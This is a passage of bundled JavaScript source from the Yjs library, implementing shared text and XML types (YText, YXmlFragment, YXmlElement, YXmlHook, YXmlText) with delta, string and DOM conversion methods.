7165 this.doc ?? warnPrematureAccess();
7166 let str = "";
7167 let n = this._start;
7168 while (n !== null) {
7169 if (!n.deleted && n.countable && n.content.constructor === ContentString) {
7170 str += /** @type {ContentString} */
7171 n.content.str;
7172 }
7173 n = n.right;
7174 }
7175 return str;
7176 }
7177 /**
7178 * Returns the unformatted string representation of this YText type.
7179 *
7180 * @return {string}
7181 * @public
7182 */
7183 toJSON() {
7184 return this.toString();
7185 }
7186 /**
7187 * Apply a {@link Delta} on this shared YText type.
7188 *
7189 * @param {Array<any>} delta The changes to apply on this element.
7190 * @param {object} opts
7191 * @param {boolean} [opts.sanitize] Sanitize input delta. Removes ending newlines if set to true.
7192 *
7193 *
7194 * @public
7195 */
7196 applyDelta(delta, { sanitize = true } = {}) {
7197 if (this.doc !== null) {
7198 transact(this.doc, (transaction) => {
7199 const currPos = new ItemTextListPosition(null, this._start, 0, /* @__PURE__ */ new Map());
7200 for (let i = 0; i < delta.length; i++) {
7201 const op = delta[i];
7202 if (op.insert !== void 0) {
7203 const ins = !sanitize && typeof op.insert === "string" && i === delta.length - 1 && currPos.right === null && op.insert.slice(-1) === "\n" ? op.insert.slice(0, -1) : op.insert;
7204 if (typeof ins !== "string" || ins.length > 0) {
7205 insertText(transaction, this, currPos, ins, op.attributes || {});
7206 }
7207 } else if (op.retain !== void 0) {
7208 formatText(transaction, this, currPos, op.retain, op.attributes || {});
7209 } else if (op.delete !== void 0) {
7210 deleteText(transaction, currPos, op.delete);
7211 }
7212 }
7213 });
7214 } else {
7215 this._pending.push(() => this.applyDelta(delta));
7216 }
7217 }
7218 /**
7219 * Returns the Delta representation of this YText type.
7220 *
7221 * @param {Snapshot} [snapshot]
7222 * @param {Snapshot} [prevSnapshot]
7223 * @param {function('removed' | 'added', ID):any} [computeYChange]
7224 * @return {any} The Delta representation of this type.
7225 *
7226 * @public
7227 */
7228 toDelta(snapshot2, prevSnapshot, computeYChange) {
7229 this.doc ?? warnPrematureAccess();
7230 const ops = [];
7231 const currentAttributes = /* @__PURE__ */ new Map();
7232 const doc2 = (
7233 /** @type {Doc} */
7234 this.doc
7235 );
7236 let str = "";
7237 let n = this._start;
7238 function packStr() {
7239 if (str.length > 0) {
7240 const attributes = {};
7241 let addAttributes = false;
7242 currentAttributes.forEach((value, key) => {
7243 addAttributes = true;
7244 attributes[key] = value;
7245 });
7246 const op = { insert: str };
7247 if (addAttributes) {
7248 op.attributes = attributes;
7249 }
7250 ops.push(op);
7251 str = "";
7252 }
7253 }
7254 const computeDelta = () => {
7255 while (n !== null) {
7256 if (isVisible(n, snapshot2) || prevSnapshot !== void 0 && isVisible(n, prevSnapshot)) {
7257 switch (n.content.constructor) {
7258 case ContentString: {
7259 const cur = currentAttributes.get("ychange");
7260 if (snapshot2 !== void 0 && !isVisible(n, snapshot2)) {
7261 if (cur === void 0 || cur.user !== n.id.client || cur.type !== "removed") {
7262 packStr();
7263 currentAttributes.set("ychange", computeYChange ? computeYChange("removed", n.id) : { type: "removed" });
7264 }
7265 } else if (prevSnapshot !== void 0 && !isVisible(n, prevSnapshot)) {
7266 if (cur === void 0 || cur.user !== n.id.client || cur.type !== "added") {
7267 packStr();
7268 currentAttributes.set("ychange", computeYChange ? computeYChange("added", n.id) : { type: "added" });
7269 }
7270 } else if (cur !== void 0) {
7271 packStr();
7272 currentAttributes.delete("ychange");
7273 }
7274 str += /** @type {ContentString} */
7275 n.content.str;
7276 break;
7277 }
7278 case ContentType:
7279 case ContentEmbed: {
7280 packStr();
7281 const op = {
7282 insert: n.content.getContent()[0]
7283 };
7284 if (currentAttributes.size > 0) {
7285 const attrs = (
7286 /** @type {Object<string,any>} */
7287 {}
7288 );
7289 op.attributes = attrs;
7290 currentAttributes.forEach((value, key) => {
7291 attrs[key] = value;
7292 });
7293 }
7294 ops.push(op);
7295 break;
7296 }
7297 case ContentFormat:
7298 if (isVisible(n, snapshot2)) {
7299 packStr();
7300 updateCurrentAttributes(
7301 currentAttributes,
7302 /** @type {ContentFormat} */
7303 n.content
7304 );
7305 }
7306 break;
7307 }
7308 }
7309 n = n.right;
7310 }
7311 packStr();
7312 };
7313 if (snapshot2 || prevSnapshot) {
7314 transact(doc2, (transaction) => {
7315 if (snapshot2) {
7316 splitSnapshotAffectedStructs(transaction, snapshot2);
7317 }
7318 if (prevSnapshot) {
7319 splitSnapshotAffectedStructs(transaction, prevSnapshot);
7320 }
7321 computeDelta();
7322 }, "cleanup");
7323 } else {
7324 computeDelta();
7325 }
7326 return ops;
7327 }
7328 /**
7329 * Insert text at a given index.
7330 *
7331 * @param {number} index The index at which to start inserting.
7332 * @param {String} text The text to insert at the specified position.
7333 * @param {TextAttributes} [attributes] Optionally define some formatting
7334 * information to apply on the inserted
7335 * Text.
7336 * @public
7337 */
7338 insert(index, text2, attributes) {
7339 if (text2.length <= 0) {
7340 return;
7341 }
7342 const y = this.doc;
7343 if (y !== null) {
7344 transact(y, (transaction) => {
7345 const pos = findPosition(transaction, this, index, !attributes);
7346 if (!attributes) {
7347 attributes = {};
7348 pos.currentAttributes.forEach((v, k) => {
7349 attributes[k] = v;
7350 });
7351 }
7352 insertText(transaction, this, pos, text2, attributes);
7353 });
7354 } else {
7355 this._pending.push(() => this.insert(index, text2, attributes));
7356 }
7357 }
7358 /**
7359 * Inserts an embed at a index.
7360 *
7361 * @param {number} index The index to insert the embed at.
7362 * @param {Object | AbstractType<any>} embed The Object that represents the embed.
7363 * @param {TextAttributes} [attributes] Attribute information to apply on the
7364 * embed
7365 *
7366 * @public
7367 */
7368 insertEmbed(index, embed, attributes) {
7369 const y = this.doc;
7370 if (y !== null) {
7371 transact(y, (transaction) => {
7372 const pos = findPosition(transaction, this, index, !attributes);
7373 insertText(transaction, this, pos, embed, attributes || {});
7374 });
7375 } else {
7376 this._pending.push(() => this.insertEmbed(index, embed, attributes || {}));
7377 }
7378 }
7379 /**
7380 * Deletes text starting from an index.
7381 *
7382 * @param {number} index Index at which to start deleting.
7383 * @param {number} length The number of characters to remove. Defaults to 1.
7384 *
7385 * @public
7386 */
7387 delete(index, length3) {
7388 if (length3 === 0) {
7389 return;
7390 }
7391 const y = this.doc;
7392 if (y !== null) {
7393 transact(y, (transaction) => {
7394 deleteText(transaction, findPosition(transaction, this, index, true), length3);
7395 });
7396 } else {
7397 this._pending.push(() => this.delete(index, length3));
7398 }
7399 }
7400 /**
7401 * Assigns properties to a range of text.
7402 *
7403 * @param {number} index The position where to start formatting.
7404 * @param {number} length The amount of characters to assign properties to.
7405 * @param {TextAttributes} attributes Attribute information to apply on the
7406 * text.
7407 *
7408 * @public
7409 */
7410 format(index, length3, attributes) {
7411 if (length3 === 0) {
7412 return;
7413 }
7414 const y = this.doc;
7415 if (y !== null) {
7416 transact(y, (transaction) => {
7417 const pos = findPosition(transaction, this, index, false);
7418 if (pos.right === null) {
7419 return;
7420 }
7421 formatText(transaction, this, pos, length3, attributes);
7422 });
7423 } else {
7424 this._pending.push(() => this.format(index, length3, attributes));
7425 }
7426 }
7427 /**
7428 * Removes an attribute.
7429 *
7430 * @note Xml-Text nodes don't have attributes. You can use this feature to assign properties to complete text-blocks.
7431 *
7432 * @param {String} attributeName The attribute name that is to be removed.
7433 *
7434 * @public
7435 */
7436 removeAttribute(attributeName) {
7437 if (this.doc !== null) {
7438 transact(this.doc, (transaction) => {
7439 typeMapDelete(transaction, this, attributeName);
7440 });
7441 } else {
7442 this._pending.push(() => this.removeAttribute(attributeName));
7443 }
7444 }
7445 /**
7446 * Sets or updates an attribute.
7447 *
7448 * @note Xml-Text nodes don't have attributes. You can use this feature to assign properties to complete text-blocks.
7449 *
7450 * @param {String} attributeName The attribute name that is to be set.
7451 * @param {any} attributeValue The attribute value that is to be set.
7452 *
7453 * @public
7454 */
7455 setAttribute(attributeName, attributeValue) {
7456 if (this.doc !== null) {
7457 transact(this.doc, (transaction) => {
7458 typeMapSet(transaction, this, attributeName, attributeValue);
7459 });
7460 } else {
7461 this._pending.push(() => this.setAttribute(attributeName, attributeValue));
7462 }
7463 }
7464 /**
7465 * Returns an attribute value that belongs to the attribute name.
7466 *
7467 * @note Xml-Text nodes don't have attributes. You can use this feature to assign properties to complete text-blocks.
7468 *
7469 * @param {String} attributeName The attribute name that identifies the
7470 * queried value.
7471 * @return {any} The queried attribute value.
7472 *
7473 * @public
7474 */
7475 getAttribute(attributeName) {
7476 return (
7477 /** @type {any} */
7478 typeMapGet(this, attributeName)
7479 );
7480 }
7481 /**
7482 * Returns all attribute name/value pairs in a JSON Object.
7483 *
7484 * @note Xml-Text nodes don't have attributes. You can use this feature to assign properties to complete text-blocks.
7485 *
7486 * @return {Object<string, any>} A JSON Object that describes the attributes.
7487 *
7488 * @public
7489 */
7490 getAttributes() {
7491 return typeMapGetAll(this);
7492 }
7493 /**
7494 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
7495 */
7496 _write(encoder) {
7497 encoder.writeTypeRef(YTextRefID);
7498 }
7499 };
7500 var readYText = (_decoder) => new YText();
7501 var YXmlTreeWalker = class {
7502 /**
7503 * @param {YXmlFragment | YXmlElement} root
7504 * @param {function(AbstractType<any>):boolean} [f]
7505 */
7506 constructor(root, f = () => true) {
7507 this._filter = f;
7508 this._root = root;
7509 this._currentNode = /** @type {Item} */
7510 root._start;
7511 this._firstCall = true;
7512 root.doc ?? warnPrematureAccess();
7513 }
7514 [Symbol.iterator]() {
7515 return this;
7516 }
7517 /**
7518 * Get the next node.
7519 *
7520 * @return {IteratorResult<YXmlElement|YXmlText|YXmlHook>} The next node.
7521 *
7522 * @public
7523 */
7524 next() {
7525 let n = this._currentNode;
7526 let type = n && n.content && /** @type {any} */
7527 n.content.type;
7528 if (n !== null && (!this._firstCall || n.deleted || !this._filter(type))) {
7529 do {
7530 type = /** @type {any} */
7531 n.content.type;
7532 if (!n.deleted && (type.constructor === YXmlElement || type.constructor === YXmlFragment) && type._start !== null) {
7533 n = type._start;
7534 } else {
7535 while (n !== null) {
7536 const nxt = n.next;
7537 if (nxt !== null) {
7538 n = nxt;
7539 break;
7540 } else if (n.parent === this._root) {
7541 n = null;
7542 } else {
7543 n = /** @type {AbstractType<any>} */
7544 n.parent._item;
7545 }
7546 }
7547 }
7548 } while (n !== null && (n.deleted || !this._filter(
7549 /** @type {ContentType} */
7550 n.content.type
7551 )));
7552 }
7553 this._firstCall = false;
7554 if (n === null) {
7555 return { value: void 0, done: true };
7556 }
7557 this._currentNode = n;
7558 return { value: (
7559 /** @type {any} */
7560 n.content.type
7561 ), done: false };
7562 }
7563 };
7564 var YXmlFragment = class _YXmlFragment extends AbstractType {
7565 constructor() {
7566 super();
7567 this._prelimContent = [];
7568 }
7569 /**
7570 * @type {YXmlElement|YXmlText|null}
7571 */
7572 get firstChild() {
7573 const first = this._first;
7574 return first ? first.content.getContent()[0] : null;
7575 }
7576 /**
7577 * Integrate this type into the Yjs instance.
7578 *
7579 * * Save this struct in the os
7580 * * This type is sent to other client
7581 * * Observer functions are fired
7582 *
7583 * @param {Doc} y The Yjs instance
7584 * @param {Item} item
7585 */
7586 _integrate(y, item) {
7587 super._integrate(y, item);
7588 this.insert(
7589 0,
7590 /** @type {Array<any>} */
7591 this._prelimContent
7592 );
7593 this._prelimContent = null;
7594 }
7595 _copy() {
7596 return new _YXmlFragment();
7597 }
7598 /**
7599 * Makes a copy of this data type that can be included somewhere else.
7600 *
7601 * Note that the content is only readable _after_ it has been included somewhere in the Ydoc.
7602 *
7603 * @return {YXmlFragment}
7604 */
7605 clone() {
7606 const el = new _YXmlFragment();
7607 el.insert(0, this.toArray().map((item) => item instanceof AbstractType ? item.clone() : item));
7608 return el;
7609 }
7610 get length() {
7611 this.doc ?? warnPrematureAccess();
7612 return this._prelimContent === null ? this._length : this._prelimContent.length;
7613 }
7614 /**
7615 * Create a subtree of childNodes.
7616 *
7617 * @example
7618 * const walker = elem.createTreeWalker(dom => dom.nodeName === 'div')
7619 * for (let node in walker) {
7620 * // `node` is a div node
7621 * nop(node)
7622 * }
7623 *
7624 * @param {function(AbstractType<any>):boolean} filter Function that is called on each child element and
7625 * returns a Boolean indicating whether the child
7626 * is to be included in the subtree.
7627 * @return {YXmlTreeWalker} A subtree and a position within it.
7628 *
7629 * @public
7630 */
7631 createTreeWalker(filter) {
7632 return new YXmlTreeWalker(this, filter);
7633 }
7634 /**
7635 * Returns the first YXmlElement that matches the query.
7636 * Similar to DOM's {@link querySelector}.
7637 *
7638 * Query support:
7639 * - tagname
7640 * TODO:
7641 * - id
7642 * - attribute
7643 *
7644 * @param {CSS_Selector} query The query on the children.
7645 * @return {YXmlElement|YXmlText|YXmlHook|null} The first element that matches the query or null.
7646 *
7647 * @public
7648 */
7649 querySelector(query) {
7650 query = query.toUpperCase();
7651 const iterator = new YXmlTreeWalker(this, (element2) => element2.nodeName && element2.nodeName.toUpperCase() === query);
7652 const next = iterator.next();
7653 if (next.done) {
7654 return null;
7655 } else {
7656 return next.value;
7657 }
7658 }
7659 /**
7660 * Returns all YXmlElements that match the query.
7661 * Similar to Dom's {@link querySelectorAll}.
7662 *
7663 * @todo Does not yet support all queries. Currently only query by tagName.
7664 *
7665 * @param {CSS_Selector} query The query on the children
7666 * @return {Array<YXmlElement|YXmlText|YXmlHook|null>} The elements that match this query.
7667 *
7668 * @public
7669 */
7670 querySelectorAll(query) {
7671 query = query.toUpperCase();
7672 return from(new YXmlTreeWalker(this, (element2) => element2.nodeName && element2.nodeName.toUpperCase() === query));
7673 }
7674 /**
7675 * Creates YXmlEvent and calls observers.
7676 *
7677 * @param {Transaction} transaction
7678 * @param {Set<null|string>} parentSubs Keys changed on this type. `null` if list was modified.
7679 */
7680 _callObserver(transaction, parentSubs) {
7681 callTypeObservers(this, transaction, new YXmlEvent(this, parentSubs, transaction));
7682 }
7683 /**
7684 * Get the string representation of all the children of this YXmlFragment.
7685 *
7686 * @return {string} The string representation of all children.
7687 */
7688 toString() {
7689 return typeListMap(this, (xml) => xml.toString()).join("");
7690 }
7691 /**
7692 * @return {string}
7693 */
7694 toJSON() {
7695 return this.toString();
7696 }
7697 /**
7698 * Creates a Dom Element that mirrors this YXmlElement.
7699 *
7700 * @param {Document} [_document=document] The document object (you must define
7701 * this when calling this method in
7702 * nodejs)
7703 * @param {Object<string, any>} [hooks={}] Optional property to customize how hooks
7704 * are presented in the DOM
7705 * @param {any} [binding] You should not set this property. This is
7706 * used if DomBinding wants to create a
7707 * association to the created DOM type.
7708 * @return {Node} The {@link https://developer.mozilla.org/en-US/docs/Web/API/Element|Dom Element}
7709 *
7710 * @public
7711 */
7712 toDOM(_document = document, hooks = {}, binding) {
7713 const fragment = _document.createDocumentFragment();
7714 if (binding !== void 0) {
7715 binding._createAssociation(fragment, this);
7716 }
7717 typeListForEach(this, (xmlType) => {
7718 fragment.insertBefore(xmlType.toDOM(_document, hooks, binding), null);
7719 });
7720 return fragment;
7721 }
7722 /**
7723 * Inserts new content at an index.
7724 *
7725 * @example
7726 * // Insert character 'a' at position 0
7727 * xml.insert(0, [new Y.XmlText('text')])
7728 *
7729 * @param {number} index The index to insert content at
7730 * @param {Array<YXmlElement|YXmlText>} content The array of content
7731 */
7732 insert(index, content) {
7733 if (this.doc !== null) {
7734 transact(this.doc, (transaction) => {
7735 typeListInsertGenerics(transaction, this, index, content);
7736 });
7737 } else {
7738 this._prelimContent.splice(index, 0, ...content);
7739 }
7740 }
7741 /**
7742 * Inserts new content at an index.
7743 *
7744 * @example
7745 * // Insert character 'a' at position 0
7746 * xml.insert(0, [new Y.XmlText('text')])
7747 *
7748 * @param {null|Item|YXmlElement|YXmlText} ref The index to insert content at
7749 * @param {Array<YXmlElement|YXmlText>} content The array of content
7750 */
7751 insertAfter(ref, content) {
7752 if (this.doc !== null) {
7753 transact(this.doc, (transaction) => {
7754 const refItem = ref && ref instanceof AbstractType ? ref._item : ref;
7755 typeListInsertGenericsAfter(transaction, this, refItem, content);
7756 });
7757 } else {
7758 const pc = (
7759 /** @type {Array<any>} */
7760 this._prelimContent
7761 );
7762 const index = ref === null ? 0 : pc.findIndex((el) => el === ref) + 1;
7763 if (index === 0 && ref !== null) {
7764 throw create3("Reference item not found");
7765 }
7766 pc.splice(index, 0, ...content);
7767 }
7768 }
7769 /**
7770 * Deletes elements starting from an index.
7771 *
7772 * @param {number} index Index at which to start deleting elements
7773 * @param {number} [length=1] The number of elements to remove. Defaults to 1.
7774 */
7775 delete(index, length3 = 1) {
7776 if (this.doc !== null) {
7777 transact(this.doc, (transaction) => {
7778 typeListDelete(transaction, this, index, length3);
7779 });
7780 } else {
7781 this._prelimContent.splice(index, length3);
7782 }
7783 }
7784 /**
7785 * Transforms this YArray to a JavaScript Array.
7786 *
7787 * @return {Array<YXmlElement|YXmlText|YXmlHook>}
7788 */
7789 toArray() {
7790 return typeListToArray(this);
7791 }
7792 /**
7793 * Appends content to this YArray.
7794 *
7795 * @param {Array<YXmlElement|YXmlText>} content Array of content to append.
7796 */
7797 push(content) {
7798 this.insert(this.length, content);
7799 }
7800 /**
7801 * Prepends content to this YArray.
7802 *
7803 * @param {Array<YXmlElement|YXmlText>} content Array of content to prepend.
7804 */
7805 unshift(content) {
7806 this.insert(0, content);
7807 }
7808 /**
7809 * Returns the i-th element from a YArray.
7810 *
7811 * @param {number} index The index of the element to return from the YArray
7812 * @return {YXmlElement|YXmlText}
7813 */
7814 get(index) {
7815 return typeListGet(this, index);
7816 }
7817 /**
7818 * Returns a portion of this YXmlFragment into a JavaScript Array selected
7819 * from start to end (end not included).
7820 *
7821 * @param {number} [start]
7822 * @param {number} [end]
7823 * @return {Array<YXmlElement|YXmlText>}
7824 */
7825 slice(start = 0, end = this.length) {
7826 return typeListSlice(this, start, end);
7827 }
7828 /**
7829 * Executes a provided function on once on every child element.
7830 *
7831 * @param {function(YXmlElement|YXmlText,number, typeof self):void} f A function to execute on every element of this YArray.
7832 */
7833 forEach(f) {
7834 typeListForEach(this, f);
7835 }
7836 /**
7837 * Transform the properties of this type to binary and write it to an
7838 * BinaryEncoder.
7839 *
7840 * This is called when this Item is sent to a remote peer.
7841 *
7842 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder The encoder to write data to.
7843 */
7844 _write(encoder) {
7845 encoder.writeTypeRef(YXmlFragmentRefID);
7846 }
7847 };
7848 var readYXmlFragment = (_decoder) => new YXmlFragment();
7849 var YXmlElement = class _YXmlElement extends YXmlFragment {
7850 constructor(nodeName = "UNDEFINED") {
7851 super();
7852 this.nodeName = nodeName;
7853 this._prelimAttrs = /* @__PURE__ */ new Map();
7854 }
7855 /**
7856 * @type {YXmlElement|YXmlText|null}
7857 */
7858 get nextSibling() {
7859 const n = this._item ? this._item.next : null;
7860 return n ? (
7861 /** @type {YXmlElement|YXmlText} */
7862 /** @type {ContentType} */
7863 n.content.type
7864 ) : null;
7865 }
7866 /**
7867 * @type {YXmlElement|YXmlText|null}
7868 */
7869 get prevSibling() {
7870 const n = this._item ? this._item.prev : null;
7871 return n ? (
7872 /** @type {YXmlElement|YXmlText} */
7873 /** @type {ContentType} */
7874 n.content.type
7875 ) : null;
7876 }
7877 /**
7878 * Integrate this type into the Yjs instance.
7879 *
7880 * * Save this struct in the os
7881 * * This type is sent to other client
7882 * * Observer functions are fired
7883 *
7884 * @param {Doc} y The Yjs instance
7885 * @param {Item} item
7886 */
7887 _integrate(y, item) {
7888 super._integrate(y, item);
7889 /** @type {Map<string, any>} */
7890 this._prelimAttrs.forEach((value, key) => {
7891 this.setAttribute(key, value);
7892 });
7893 this._prelimAttrs = null;
7894 }
7895 /**
7896 * Creates an Item with the same effect as this Item (without position effect)
7897 *
7898 * @return {YXmlElement}
7899 */
7900 _copy() {
7901 return new _YXmlElement(this.nodeName);
7902 }
7903 /**
7904 * Makes a copy of this data type that can be included somewhere else.
7905 *
7906 * Note that the content is only readable _after_ it has been included somewhere in the Ydoc.
7907 *
7908 * @return {YXmlElement<KV>}
7909 */
7910 clone() {
7911 const el = new _YXmlElement(this.nodeName);
7912 const attrs = this.getAttributes();
7913 forEach(attrs, (value, key) => {
7914 el.setAttribute(
7915 key,
7916 /** @type {any} */
7917 value
7918 );
7919 });
7920 el.insert(0, this.toArray().map((v) => v instanceof AbstractType ? v.clone() : v));
7921 return el;
7922 }
7923 /**
7924 * Returns the XML serialization of this YXmlElement.
7925 * The attributes are ordered by attribute-name, so you can easily use this
7926 * method to compare YXmlElements
7927 *
7928 * @return {string} The string representation of this type.
7929 *
7930 * @public
7931 */
7932 toString() {
7933 const attrs = this.getAttributes();
7934 const stringBuilder = [];
7935 const keys2 = [];
7936 for (const key in attrs) {
7937 keys2.push(key);
7938 }
7939 keys2.sort();
7940 const keysLen = keys2.length;
7941 for (let i = 0; i < keysLen; i++) {
7942 const key = keys2[i];
7943 stringBuilder.push(key + '="' + attrs[key] + '"');
7944 }
7945 const nodeName = this.nodeName.toLocaleLowerCase();
7946 const attrsString = stringBuilder.length > 0 ? " " + stringBuilder.join(" ") : "";
7947 return `<${nodeName}${attrsString}>${super.toString()}</${nodeName}>`;
7948 }
7949 /**
7950 * Removes an attribute from this YXmlElement.
7951 *
7952 * @param {string} attributeName The attribute name that is to be removed.
7953 *
7954 * @public
7955 */
7956 removeAttribute(attributeName) {
7957 if (this.doc !== null) {
7958 transact(this.doc, (transaction) => {
7959 typeMapDelete(transaction, this, attributeName);
7960 });
7961 } else {
7962 this._prelimAttrs.delete(attributeName);
7963 }
7964 }
7965 /**
7966 * Sets or updates an attribute.
7967 *
7968 * @template {keyof KV & string} KEY
7969 *
7970 * @param {KEY} attributeName The attribute name that is to be set.
7971 * @param {KV[KEY]} attributeValue The attribute value that is to be set.
7972 *
7973 * @public
7974 */
7975 setAttribute(attributeName, attributeValue) {
7976 if (this.doc !== null) {
7977 transact(this.doc, (transaction) => {
7978 typeMapSet(transaction, this, attributeName, attributeValue);
7979 });
7980 } else {
7981 this._prelimAttrs.set(attributeName, attributeValue);
7982 }
7983 }
7984 /**
7985 * Returns an attribute value that belongs to the attribute name.
7986 *
7987 * @template {keyof KV & string} KEY
7988 *
7989 * @param {KEY} attributeName The attribute name that identifies the
7990 * queried value.
7991 * @return {KV[KEY]|undefined} The queried attribute value.
7992 *
7993 * @public
7994 */
7995 getAttribute(attributeName) {
7996 return (
7997 /** @type {any} */
7998 typeMapGet(this, attributeName)
7999 );
8000 }
8001 /**
8002 * Returns whether an attribute exists
8003 *
8004 * @param {string} attributeName The attribute name to check for existence.
8005 * @return {boolean} whether the attribute exists.
8006 *
8007 * @public
8008 */
8009 hasAttribute(attributeName) {
8010 return (
8011 /** @type {any} */
8012 typeMapHas(this, attributeName)
8013 );
8014 }
8015 /**
8016 * Returns all attribute name/value pairs in a JSON Object.
8017 *
8018 * @param {Snapshot} [snapshot]
8019 * @return {{ [Key in Extract<keyof KV,string>]?: KV[Key]}} A JSON Object that describes the attributes.
8020 *
8021 * @public
8022 */
8023 getAttributes(snapshot2) {
8024 return (
8025 /** @type {any} */
8026 snapshot2 ? typeMapGetAllSnapshot(this, snapshot2) : typeMapGetAll(this)
8027 );
8028 }
8029 /**
8030 * Creates a Dom Element that mirrors this YXmlElement.
8031 *
8032 * @param {Document} [_document=document] The document object (you must define
8033 * this when calling this method in
8034 * nodejs)
8035 * @param {Object<string, any>} [hooks={}] Optional property to customize how hooks
8036 * are presented in the DOM
8037 * @param {any} [binding] You should not set this property. This is
8038 * used if DomBinding wants to create a
8039 * association to the created DOM type.
8040 * @return {Node} The {@link https://developer.mozilla.org/en-US/docs/Web/API/Element|Dom Element}
8041 *
8042 * @public
8043 */
8044 toDOM(_document = document, hooks = {}, binding) {
8045 const dom = _document.createElement(this.nodeName);
8046 const attrs = this.getAttributes();
8047 for (const key in attrs) {
8048 const value = attrs[key];
8049 if (typeof value === "string") {
8050 dom.setAttribute(key, value);
8051 }
8052 }
8053 typeListForEach(this, (yxml) => {
8054 dom.appendChild(yxml.toDOM(_document, hooks, binding));
8055 });
8056 if (binding !== void 0) {
8057 binding._createAssociation(dom, this);
8058 }
8059 return dom;
8060 }
8061 /**
8062 * Transform the properties of this type to binary and write it to an
8063 * BinaryEncoder.
8064 *
8065 * This is called when this Item is sent to a remote peer.
8066 *
8067 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder The encoder to write data to.
8068 */
8069 _write(encoder) {
8070 encoder.writeTypeRef(YXmlElementRefID);
8071 encoder.writeKey(this.nodeName);
8072 }
8073 };
8074 var readYXmlElement = (decoder) => new YXmlElement(decoder.readKey());
8075 var YXmlEvent = class extends YEvent {
8076 /**
8077 * @param {YXmlElement|YXmlText|YXmlFragment} target The target on which the event is created.
8078 * @param {Set<string|null>} subs The set of changed attributes. `null` is included if the
8079 * child list changed.
8080 * @param {Transaction} transaction The transaction instance with which the
8081 * change was created.
8082 */
8083 constructor(target, subs, transaction) {
8084 super(target, transaction);
8085 this.childListChanged = false;
8086 this.attributesChanged = /* @__PURE__ */ new Set();
8087 subs.forEach((sub) => {
8088 if (sub === null) {
8089 this.childListChanged = true;
8090 } else {
8091 this.attributesChanged.add(sub);
8092 }
8093 });
8094 }
8095 };
8096 var YXmlHook = class _YXmlHook extends YMap {
8097 /**
8098 * @param {string} hookName nodeName of the Dom Node.
8099 */
8100 constructor(hookName) {
8101 super();
8102 this.hookName = hookName;
8103 }
8104 /**
8105 * Creates an Item with the same effect as this Item (without position effect)
8106 */
8107 _copy() {
8108 return new _YXmlHook(this.hookName);
8109 }
8110 /**
8111 * Makes a copy of this data type that can be included somewhere else.
8112 *
8113 * Note that the content is only readable _after_ it has been included somewhere in the Ydoc.
8114 *
8115 * @return {YXmlHook}
8116 */
8117 clone() {
8118 const el = new _YXmlHook(this.hookName);
8119 this.forEach((value, key) => {
8120 el.set(key, value);
8121 });
8122 return el;
8123 }
8124 /**
8125 * Creates a Dom Element that mirrors this YXmlElement.
8126 *
8127 * @param {Document} [_document=document] The document object (you must define
8128 * this when calling this method in
8129 * nodejs)
8130 * @param {Object.<string, any>} [hooks] Optional property to customize how hooks
8131 * are presented in the DOM
8132 * @param {any} [binding] You should not set this property. This is
8133 * used if DomBinding wants to create a
8134 * association to the created DOM type
8135 * @return {Element} The {@link https://developer.mozilla.org/en-US/docs/Web/API/Element|Dom Element}
8136 *
8137 * @public
8138 */
8139 toDOM(_document = document, hooks = {}, binding) {
8140 const hook = hooks[this.hookName];
8141 let dom;
8142 if (hook !== void 0) {
8143 dom = hook.createDom(this);
8144 } else {
8145 dom = document.createElement(this.hookName);
8146 }
8147 dom.setAttribute("data-yjs-hook", this.hookName);
8148 if (binding !== void 0) {
8149 binding._createAssociation(dom, this);
8150 }
8151 return dom;
8152 }
8153 /**
8154 * Transform the properties of this type to binary and write it to an
8155 * BinaryEncoder.
8156 *
8157 * This is called when this Item is sent to a remote peer.
8158 *
8159 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder The encoder to write data to.
8160 */
8161 _write(encoder) {
8162 encoder.writeTypeRef(YXmlHookRefID);
8163 encoder.writeKey(this.hookName);
8164 }
8165 };
8166 var readYXmlHook = (decoder) => new YXmlHook(decoder.readKey());
8167 var YXmlText = class _YXmlText extends YText {
8168 /**
8169 * @type {YXmlElement|YXmlText|null}
8170 */
8171 get nextSibling() {
8172 const n = this._item ? this._item.next : null;
8173 return n ? (
8174 /** @type {YXmlElement|YXmlText} */
8175 /** @type {ContentType} */
8176 n.content.type
8177 ) : null;
8178 }
8179 /**
8180 * @type {YXmlElement|YXmlText|null}
8181 */
8182 get prevSibling() {
8183 const n = this._item ? this._item.prev : null;
8184 return n ? (
8185 /** @type {YXmlElement|YXmlText} */
8186 /** @type {ContentType} */
8187 n.content.type
8188 ) : null;
8189 }
8190 _copy() {
8191 return new _YXmlText();
8192 }
8193 /**
8194 * Makes a copy of this data type that can be included somewhere else.
8195 *
8196 * Note that the content is only readable _after_ it has been included somewhere in the Ydoc.
8197 *
8198 * @return {YXmlText}
8199 */
8200 clone() {
8201 const text2 = new _YXmlText();
8202 text2.applyDelta(this.toDelta());
8203 return text2;
8204 }
8205 /**
8206 * Creates a Dom Element that mirrors this YXmlText.
8207 *
8208 * @param {Document} [_document=document] The document object (you must define
8209 * this when calling this method in
8210 * nodejs)
8211 * @param {Object<string, any>} [hooks] Optional property to customize how hooks
8212 * are presented in the DOM
8213 * @param {any} [binding] You should not set this property. This is
8214 * used if DomBinding wants to create a
8215 * association to the created DOM type.
8216 * @return {Text} The {@link https://developer.mozilla.org/en-US/docs/Web/API/Element|Dom Element}
8217 *
8218 * @public
8219 */
8220 toDOM(_document = document, hooks, binding) {
8221 const dom = _document.createTextNode(this.toString());
8222 if (binding !== void 0) {
8223 binding._createAssociation(dom, this);
8224 }
8225 return dom;
8226 }
8227 toString() {
8228 return this.toDelta().map((delta) => {
8229 const nestedNodes = [];
8230 for (const nodeName in delta.attributes) {
8231 const attrs = [];
8232 for (const key in delta.attributes[nodeName]) {
8233 attrs.push({ key, value: delta.attributes[nodeName][key] });
8234 }
8235 attrs.sort((a, b) => a.key < b.key ? -1 : 1);
8236 nestedNodes.push({ nodeName, attrs });
8237 }
8238 nestedNodes.sort((a, b) => a.nodeName < b.nodeName ? -1 : 1);
8239 let str = "";
8240 for (let i = 0; i < nestedNodes.length; i++) {
8241 const node = nestedNodes[i];
8242 str += `<${node.nodeName}`;
8243 for (let j = 0; j < node.attrs.length; j++) {
8244 const attr = node.attrs[j];
8245 str += ` ${attr.key}="${attr.value}"`;
8246 }
8247 str += ">";
8248 }
8249 str += delta.insert;
8250 for (let i = nestedNodes.length - 1; i >= 0; i--) {
8251 str += `</${nestedNodes[i].nodeName}>`;
8252 }
8253 return str;
8254 }).join("");
8255 }
8256 /**
8257 * @return {string}
